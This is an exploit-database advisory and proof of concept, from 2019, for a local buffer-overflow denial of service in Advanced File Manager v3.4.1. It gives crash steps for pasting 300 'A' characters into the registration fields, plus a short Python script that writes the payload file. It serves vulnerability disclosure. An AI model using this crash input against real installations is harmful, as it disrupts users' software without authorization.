Advanced File Manager v3.4.1 - Denial of Service (PoC)

vendor:

Advanced File Manager

by:

Rafael Pedrero

7.5

CVSS

HIGH

Denial of Service (DoS) Local Buffer Overflow

120

CWE

Product Name: Advanced File Manager

Affected Version From: 3.4.1

Affected Version To: 3.4.1

Patch Exists: Yes

Related CWE: N/A

CPE: a:advexsoft:advanced_file_manager:3.4.1

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows XP SP3

2019

Advanced File Manager v3.4.1 – Denial of Service (PoC)

Advanced File Manager v3.4.1 is vulnerable to a Denial of Service (DoS) attack due to a Local Buffer Overflow. An attacker can exploit this vulnerability by running af_mgr.exe, copying the content of af_mgr_Crash.txt or 300 'A's to the clipboard, and then entering the registration code in all fields in the Help menu. Clicking the Register button will cause a crash.

Mitigation:

Upgrade to the latest version of Advanced File Manager.

Source

Exploit-DB raw data:

# Exploit Title: Advanced File Manager v3.4.1 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.advexsoft.com
# Software Link : http://www.advexsoft.com
# Tested Version: 3.4.1
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run af_mgr.exe
# 2.- copy content af_mgr_Crash.txt or 300 "A" to clipboard (result from this python script)
# 3.- Go to Help - Enter registration code and paste the result in all fields: "Person", "Organization", "E-mail" and "Enter your registration key below, please:"
# 4.- Click in Register button and you will see a crash.

#!/usr/bin/env python

crash = "\x41" * 300
f = open ("af_mgr_Crash.txt", "w")
f.write(crash)
f.close()